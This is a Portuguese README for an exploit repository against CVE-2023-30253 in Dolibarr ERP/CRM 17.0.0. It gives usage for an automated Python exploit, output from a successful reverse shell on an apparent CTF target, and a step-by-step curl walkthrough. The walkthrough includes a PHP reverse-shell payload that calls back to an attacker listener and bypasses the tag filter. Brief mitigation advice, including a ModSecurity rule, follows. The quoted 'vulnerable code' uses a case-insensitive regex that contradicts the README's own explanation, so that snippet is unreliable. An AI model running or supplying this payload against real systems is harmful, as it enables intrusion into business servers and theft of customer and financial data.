
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injeção de código PHP (exploit educativo)
Exploit de injeção de código PHP para Dolibarr ERP/CRM v17.0.0 que
permite obter uma shell reversa como usuário www-data através
do módulo Website/CMS.
⚠️ Apenas para uso educacional e auditorias com autorização.
CVE-2023-30253 é uma vulnerabilidade de injeção de código PHP (CWE-94: Controle Impróprio da Geração de Código) no Dolibarr ERP/CRM versões anteriores a 17.0.1.
Foi descoberta e reportada pela equipe da Swascan (agora Hacktivesecurity) em maio de 2023. A vulnerabilidade reside no módulo Website/CMS, que permite que usuários autenticados criem e gerenciem sites dentro do Dolibarr.
O Dolibarr implementa um filtro para evitar que os usuários injetem código PHP no conteúdo das páginas do módulo Website. No entanto, esse filtro tem um defeito crítico: ele é case-sensitive.
// Código vulnerável (simplificado) no Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloqueia apenas "<?php" em minúsculas exatas... ou não?
die("PHP code detected!");
}
O filtro busca literalmente a string <?php em minúsculas. Mas o PHP
permite qualquer combinação de maiúsculas e minúsculas para a
tag de abertura. Isso significa que:
O exploit usa <?PHP (em maiúsculas) para burlar o filtro, mas
qualquer variante funciona.
Além disso, o filtro só é aplicado no momento de salvar o
conteúdo. Ao servir a página, o Dolibarr passa o conteúdo sem
sanitização adicional para o interpretador PHP, que executa qualquer
código com a tag de abertura <?.
Um atacante autenticado pode:
/etc/passwd, configuração)Por que é crítico? O Dolibarr é usado como ERP/CRM empresarial. Uma intrusão pode expor dados de clientes, finanças, contratos e credenciais internas.
O exploit automatiza o processo completo de exploração em 5 passos:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticar no Dolibarr │
│ 2. Create Website → Criar um site vazio │
│ 3. Create Page → Criar uma página no site │
│ 4. Inject Shell → Injetar PHP reverse shell │
│ 5. Trigger → Executar o payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
Características:
pageidfsockopen + proc_openrequestsbeautifulsoup4Ou simplesmente:
pip install -r requirements.txt
# Clonar o repositório
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependências
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opções]
Argumentos posicionais:
Opções:
| Opção | Descrição |
|---|---|
-v, --verbose | Mostra informações detalhadas de depuração |
--no-color | Desativa cores na saída |
-h, --help | Mostra a ajuda e exemplos |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Passo 1/5: Iniciando sessão...
[10:45:12] ✓ Sessão iniciada com sucesso
[10:45:13] Passo 2/5: Criando site...
[10:45:13] ✓ Site 's3a1f2bc' criado
[10:45:13] Passo 3/5: Criando página no site...
[10:45:13] ✓ Página criada dentro do site
[10:45:14] Passo 4/5: Injetando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP injetado com sucesso
[10:45:14] Passo 5/5: Executando payload (trigger)...
════════════════════════════════════════════════════════
EXPLORAÇÃO CONCLUÍDA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instruções:
1. Em outro terminal, inicie seu listener:
nc -lvnp 4444
2. Acesse a Trigger URL (o exploit já fez isso)
3. Você receberá uma shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Se preferir entender o processo manualmente (sem o script), aqui está o fluxo completo:
# Obter cookies e token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extrair token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=meusite&WEBSITE_TITLE=meusite&addcontainer=Create"
⚠️ Lição aprendida: O parâmetro
actioncorreto éaddsite, nãoaddcomo aparece em alguns exploits públicos.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=meusite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=meusite&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=meusite&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=meusite" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Chave do ataque: O campo correto é
PAGE_CONTENT, nãoWEBSITE_CONTENT. Muitos PoCs públicos têm esse erro.
curl "http://crm.board.htb/public/website/index.php?website=meusite&pageref=meusite"
Para proteger um servidor Dolibarr contra esta vulnerabilidade:
# Atualizar para Dolibarr 17.0.1 ou superior
# O patch corrige o filtro para detectar qualquer variante de <?php
Se você não usa o módulo Website/CMS, desative-o em:
Home → Setup → Modules → Website → Desativar
# Bloquear qualquer variante de tags PHP no campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
Este projeto é criado com fins educacionais e de pesquisa em segurança da informação. O uso deste exploit contra sistemas sem autorização explícita é ilegal e eticamente condenável.
Como profissional de cibersegurança, acredito firmemente em:
Criado por Jean Carlos
Estudante de Cibersegurança | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| Campo | Valor |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (ALTO) |
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-94 — Injeção de Código |
| Software afetado | Dolibarr ERP/CRM < 17.0.1 |
| Privilégios | Usuário autenticado (qualquer função) |
| Patch | Dolibarr 17.0.1 — commit 4f6055c |
| Tag | Filtrada? | Executada pelo PHP? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| Argumento | Descrição | Exemplo |
|---|
target | URL base do Dolibarr | http://crm.board.htb |
username | Usuário do Dolibarr | admin |
password | Senha do Dolibarr | admin |
lhost | Seu IP (onde receberá a shell) | 10.10.14.5 |
lport | Sua porta (onde receberá a shell) | 4444 |